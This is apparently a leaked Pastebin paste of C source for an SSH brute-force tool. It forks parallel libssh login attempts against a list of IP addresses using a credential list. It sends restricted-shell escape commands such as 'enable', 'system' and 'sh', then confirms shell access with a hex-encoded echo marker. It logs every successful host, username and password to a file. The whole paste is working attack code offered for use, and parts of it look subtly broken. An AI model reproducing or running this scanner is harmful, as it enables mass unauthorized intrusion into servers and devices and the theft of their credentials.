Advertisement
Guest User

Untitled

a guest
Feb 18th, 2018
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.30 KB | None | 0 0
  1. // gcc ssh.c -o ssh -lssh
  2. // it's @kxngaroo found this on a server thought I'd leak lol.
  3.  
  4. #include <stdio.h>
  5. #include <arpa/inet.h>
  6. #include <netinet/in.h>
  7. #include <string.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netdb.h>
  11. #include <libssh/libssh.h>
  12. #include <stdlib.h>
  13.  
  14. void trim_data(char *buf);
  15.  
  16. int verify_login(ssh_session session)
  17. {
  18.     ssh_channel chan;
  19.     char read_buf[512], read_buf2[512];
  20.  
  21.     chan = ssh_channel_new(session);
  22.     if(!chan)
  23.         return SSH_ERROR;
  24.  
  25.     int ret = ssh_channel_open_session(chan);
  26.     if(ret != SSH_OK)
  27.     {
  28.         ssh_channel_free(chan);
  29.         return SSH_ERROR;
  30.     }
  31.    
  32.     ret = ssh_channel_request_exec(chan, "echo -en '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'");
  33.     if(ret != SSH_OK)
  34.     {
  35.         ssh_channel_close(chan);
  36.         ssh_channel_free(chan);
  37.         return SSH_ERROR;
  38.     }
  39.  
  40.     int i = 0;
  41.     int num_bytes = ssh_channel_read(chan, read_buf, sizeof(read_buf), 0);
  42.    
  43.     while(num_bytes > 0)
  44.     {
  45.         i = snprintf(read_buf2, sizeof(read_buf2), "%s", read_buf);
  46.         if(i != num_bytes)
  47.         {
  48.             ssh_channel_close(chan);
  49.             ssh_channel_free(chan);
  50.             return SSH_ERROR;
  51.         }
  52.         num_bytes = ssh_channel_read(chan, read_buf, sizeof(read_buf), 0);
  53.     }
  54.  
  55.     if(!strcasestr(read_buf2, "binfagt"))
  56.     {
  57.         ssh_channel_close(chan);
  58.         ssh_channel_free(chan);
  59.         ssh_channel_send_eof(chan);
  60.         return SSH_ERROR;
  61.     }
  62.  
  63.     ssh_channel_send_eof(chan);
  64.     ssh_channel_close(chan);
  65.     ssh_channel_free(chan);
  66.  
  67.     return SSH_OK;
  68. }
  69.  
  70. int send_command(ssh_session session, char *command)
  71. {
  72.     ssh_channel chan;
  73.     char read_buf[512];
  74.  
  75.     chan = ssh_channel_new(session);
  76.     if(!chan)
  77.         return SSH_ERROR;
  78.  
  79.     int ret = ssh_channel_open_session(chan);
  80.     if(ret != SSH_OK)
  81.     {
  82.         ssh_channel_free(chan);
  83.         return SSH_ERROR;
  84.     }
  85.  
  86.     ret = ssh_channel_request_exec(chan, command);
  87.     if(ret != SSH_OK)
  88.     {
  89.         ssh_channel_close(chan);
  90.         ssh_channel_free(chan);
  91.         return SSH_ERROR;
  92.     }
  93.  
  94.     ssh_channel_send_eof(chan);
  95.     ssh_channel_close(chan);
  96.     ssh_channel_free(chan);
  97.  
  98.     return SSH_OK;
  99. }
  100.  
  101. void check_auth(char *user, char *password, char *host, char *output_name)
  102. {
  103.     FILE *out;
  104.  
  105.     ssh_session session = ssh_new();
  106.     if(!session)
  107.         return;
  108.  
  109.     ssh_options_set(session, SSH_OPTIONS_HOST, host);
  110.  
  111.     int ret = ssh_connect(session);
  112.     if(ret == -1)
  113.     {
  114.         ssh_free(session);
  115.         return;
  116.     }
  117.  
  118.     ret = ssh_userauth_password(session, user, password);
  119.     if(ret != SSH_AUTH_SUCCESS)
  120.     {
  121.         //printf("[brute] Failed SSH attempt - %s:%s:%s\n", host, user, password);
  122.         ssh_disconnect(session);
  123.         ssh_free(session);
  124.         return;
  125.     }
  126.  
  127.     if(send_command(session, "enable") != SSH_OK)
  128.         return;
  129.     if(send_command(session, "system") != SSH_OK)
  130.         return;
  131.     if(send_command(session, "shell") != SSH_OK)
  132.         return;
  133.     if(send_command(session, "sh") != SSH_OK)
  134.         return;
  135.     /*if(send_command(session, "cat | sh") != SSH_OK)
  136.         return;
  137.     if(send_command(session, "ping;sh") != SSH_OK)
  138.         return;
  139.     if(send_command(session, "cat;sh") != SSH_OK)
  140.         return;*/
  141.  
  142.     if(verify_login(session) != SSH_ERROR)
  143.     {
  144.         printf("[brute] Successful SSH attempt - %s:%s:%s\n", host, user, password);
  145.  
  146.         out = fopen(output_name, "a+");
  147.         if(out != NULL)
  148.             fprintf(out, "%s:%s:%s\n", host, user, password);
  149.     }
  150.  
  151.     fclose(out);
  152.  
  153.     return;
  154. }
  155.  
  156. void trim_data(char *buf)
  157. {
  158.     int i = 0;
  159.     int len = strlen(buf);
  160.  
  161.     for(i = 0; i < len; i++)
  162.         if(buf[i] == '\n' || buf[i] == '\r')
  163.             buf[i] = 0;
  164. }
  165.  
  166. int main(int argc, char **argv)
  167. {
  168.     FILE *passf;
  169.     FILE *fp;
  170.     char read_buf[512], read_buf2[512], *a[80196], *temp, *t, *string, *c;
  171.     int max_forks = 0;
  172.     int count = 0;
  173.     int i = 0;
  174.     int num_forks = 0;
  175.  
  176.     if(argc < 5)
  177.     {
  178.         printf("usage: %s [num forks] [ip list] [login list (format user pass)] [output file]\n", argv[0]);
  179.         return 1;
  180.     }
  181.  
  182.     if((passf = fopen(argv[3], "r")) == NULL)
  183.         return 1;
  184.  
  185.     while(fgets(read_buf, sizeof(read_buf), passf))
  186.     {
  187.         trim_data(read_buf);
  188.  
  189.         while(t = strchr(read_buf, 'n'))
  190.             *t = '.';
  191.  
  192.         temp = strtok(read_buf, " ");
  193.         string = strdup(temp);
  194.         a[count++] = string;
  195.  
  196.         while(temp = strtok(NULL, " "))
  197.         {
  198.             string = strdup(temp);
  199.             a[count++] = string;
  200.         }
  201.     }
  202.  
  203.     fclose(passf);
  204.  
  205.     if((fp = fopen(argv[2], "r")) == NULL)
  206.         return 1;
  207.  
  208.     max_forks = atoi(argv[1]);
  209.  
  210.     while(fgets(read_buf2, sizeof(read_buf2), fp))
  211.     {
  212.         trim_data(read_buf2);
  213.  
  214.         c = strchr(read_buf2, 'n');
  215.  
  216.         if(c != NULL)
  217.             *c = '.';
  218.  
  219.         if(!(fork()))
  220.         {
  221.             check_auth(a[i], a[i+1], read_buf2, argv[4]);
  222.             exit(0);
  223.         }
  224.         else
  225.         {
  226.             num_forks ++;
  227.             if(num_forks++ > max_forks)
  228.                 for(num_forks; num_forks > max_forks; num_forks--)
  229.                     wait(NULL);
  230.         }
  231.     }
  232. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement